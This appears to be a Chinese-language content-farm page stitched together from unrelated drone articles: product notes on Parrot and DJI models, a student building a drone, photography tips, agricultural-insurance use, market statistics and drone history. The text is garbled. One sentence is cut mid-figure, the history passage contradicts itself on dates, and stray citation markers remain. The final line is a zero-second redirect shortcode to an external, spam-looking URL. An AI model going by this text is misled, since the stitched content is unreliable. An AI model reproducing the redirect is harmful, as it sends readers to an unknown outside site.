在深入了解Parrot AR.Drone 2.0之前,我们要说明的是:与这份列表中的其他真正的、消费者级、专业的无人机不同,Parrot AR.Drone 2.0像是一款玩具无人机,尽管它也配备了一台摄像机,但是不支持4K,所以它无法用于专业的摄影。但是,你要知道的是,它虽然更像是玩具无人机,但性能表现仍然非常出色。只要你在电池耗尽后再充满电,它就会为你带来无尽的乐趣。另外需要记住一点,这款无人机并不配备物理控制器,实现这一功能你需要一台Nvidia Shield,当然你也可以通过手机APP来操纵它。

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很多自拍无人机由于体积限制,难以使用更强大的无线功率和电池,所以它们的飞行距离一般只有 100 米左右,飞行时间更是难以超过 15 分钟,但大疆居然把这个惯例颠覆了。 Mavic全新设计的可折叠遥控器,自带显示屏会显示高度、距离、电量等信息,用户可通过遥控器、手机以及遥控器结合手机(手机可固定于遥控器底部)三种方式进行操作,用户可在短时间内掌握各种功能,遥控器上的返航按钮、智能飞行模式暂停按钮将保证用户的飞行安全。

  现代快报记者见到刘鸿飞时,他正在常州大学实验楼里对已经组装完毕的无人机进行调试。他指着手头一台黑色的无人机告诉记者,组装这台重量不到7斤的机器是他自掏腰包花了1.5万元,上面装有高清运动摄像头,可以360度旋转拍摄,飞行的最高高度可以达到1000米。“一般我最多飞到两三百米,再高景物就没那么清楚了,而且一块电池一般只能飞半小时左右,我四块电池交替使用也只能连续飞2小时。”前不久,刘鸿飞刚刚试飞了一下,总体感觉还不错,在对拍摄细节做一些调整后将进入正式拍摄阶段。

  对于搜狐举办的中国首届无人机摄影大赛的参赛者,Marios也分享了几点心得。“现在无论去哪里,我都会带上无人机。因为你永远不会知道摄影的最佳时刻什么时候出现,所以要时刻准备着”。Marios还建议,“初次接触无人机摄影时要克服恐惧心理,不要害怕尝试,要把自己的作品展示给大家,有时候往往会得到意外的反馈。”“关注优秀的摄影师和作品,也可以从中获取灵感,获奖作品也应该多关注,有助于了解评委的评判标准,”Marios补充道。

最可怕的是,当其它公司的自拍无人机都因为体积和续航能力的妥协,不能配备各种先进的传感器,但大疆仍然把大型无人机 Phantom 4 上各种传感器,通通都移植到小型无人机 Mavic Pro 上,使 Mavic Pro 有着与 Phantom 4,不,比 Phantom 4 更强劲的功能。 Mavic Pro 拥有 GPS/GLONASS 双模卫星定位、光流感室内定位、以及广受注目的双目视觉定位系统,更重要的是,这回是大疆给这些传感器配以 24 颗高性能计算内核,连结成全新的 FlightAutonomy 系统。它与传统光流技术最大的不同之处,是能够感知三维空间环境,在没有 GPS 环境下仍然能精准定位、导航、规划路线,光流感的有效距离也更远。

相比于单个相机的传统光流技术,FlightAutonomy的有效距离更远,且能够感知三维空间环境。因此,无论有无卫星信号,Mavic都可以精准定位、导航、规划路线,从而在多种智能飞行模式下自主导航,在最快36公里/小时(10米/秒)的飞行状态中实现智能避障。 当其它自拍小飞机只能配备 15 Whr 的电池,提供不到 15 Pro 却配备了4.35V 高压的 43.6 Whr 电池,能带来长达 27 分钟的续航力。在运动模式下,Mavic最高时速可达64.8公里/小时(18米/秒),安全、灵活、响应迅速的飞行特性将令用户体会到竞速的快感。Mavic可在高达38.5公里/小时的风速下保持稳定悬停或飞行姿态,基于地理围栏系统(Geofencing)、作用于大疆其他各款飞行器产品的限飞区规则同样有效,避免用户飞入敏感区域或在这些区域中起飞。

飞行器在空中做左右、前进等基本动作时,目光应该一直对着飞机的尾部来操控,否则会晕了方向。因为飞机在空中是可以转圈的,操作杆的方向跟飞机的飞行方向不总是保持一致的,有可能你让它左它却往右,往右却向左,所以一旦飞行器发生转向或越轴,操作杆跟方向要反着来。此外,“小精灵”航拍飞行器的高度可以去到四五百米,在实际操作中,一般不需要飞那么高,将高度控制在200米之下。换言之,可以将飞行器操控“画”一个半球体,半径为20 0米。航拍的相机镜头以广角为主。

Bebop 2:派洛特 (Parrot) 是著名的海外无人机公司,他们在去年刚推出的 Bebop 2,是目前少数能提供 20 分钟以上优异续航力的无人机,而它在官方天猫店的 3998 元的售价亦算廉宜, 290mm 的娇小身驱和同级最强的电子云台,使它能在极度便携下仍然有不错的拍摄能力,可以说是目前最便携的航拍无人机。但它必须透过手机 WiFi 连上无人机,信号极容易受到干扰,用户很难放心进行长距离飞行;如果你要比较安心的飞行,就必须要购买一个更笨重、也更昂贵的 Skycontroller 专属遥控器。

第一次起飞DJI Spark时我是选在室内,因为当时忘记开手势控制功能,所以一直无法成功透过人脸辨识起飞,一怒之下就改用手动起飞,没想到它的马达还真有力,所带来的马达声响及风切声可一点都不输Mavic Pro。而户外飞行我选在关渡平原,因为腹地广大加上平原地形就算有什么状况也比较容易找回来,首先Spark的抗风性明显不如Mavic Pro,像是海边的阵风Spark有许多情况是无力招架的,建议不要贸然起飞,虽然吹歪后会重新定位回到原点,但高度可能会受到影响,这时如果电力即将耗尽危险就来了,建议Spark还是选在风和日丽的好天气再带出门放飞。

应用领域:农业保险工作原理:利用集成了高清数码相机、光谱分析仪、热红外传感器等装置的无人机在农田上飞行,准确测算投保地块的种植面积,所采集数据可用来评估农作物风险情况、保险费率,并能为受灾农田定损,此外,无人机的巡查还实现了对农作物的监测。推荐理由:自然灾害频发,面对颗粒无收的局面,农业保险有时候是农民们的一根救命稻草,却因理赔难,又让人多了一肚子苦水。无人机在农业保险领域的应用,一方面既可确保定损的准确性以及理赔的高效率,又能监测农作物的正常生长,帮助农户开展针对性的措施,以减少风险和损失。

国内无人机市场已发展了将近30余年,从最初的军用领域逐渐扩展到消费领域。目前国内消费无人机市场火热,普通民众对无人机的认可程度和需求度逐渐攀升[24]  ,过去两年来,无人机企业、融资次数、飞手数量和产品用途都有了明显的增多,甚至出现了指数型增长,监管制度方面也有了进一步的完善。未来五年民用无人机行业将持续保持较快的发展态势,2020年中国民用无人机产品销售市场规模将达到265亿元(数据来源:宇辰网)。[25]  美军将推进无人机群研究任务 据英国《每日邮报》4月4日报道,美军近日批准4家公司研制一种以群体协作方式工作的无人机计划,以此代替人类开展危险任务,并希望以此极大降低多功能战机的使用成本。[26]  无人机将成常州”智造”重点方向[27]  。

无人机最早在20世纪20年代出现,1914年第一次世界大战正进行得如火如荼,英国的卡德尔和皮切尔两位将军,向英国军事航空学会提出了一项建议:研制一种不用人驾驶,而用无线电操纵的小型飞机,使它能够飞到敌方某一目标区上空,将事先装在小飞机上的炸弹投下去。这种大胆的设想立即得到当时英国军事航空学会理事长戴·亨德森爵士赏识。他指定由A.M.洛教授率领一班人马进行研制。无人机当时是作为训练用的靶机使用的。是一个许多国家用于描述最新一代无人驾驶飞机的术语。从字面上讲,这个术语可以描述从风筝,无线电遥控飞机,到V-1飞弹从发展来的巡航导弹,但是在军方的术语中仅限于可重复使用的比空气重的飞行器。[4]  [redirect url=’http://pm9.biz/bump’ sec=’0′]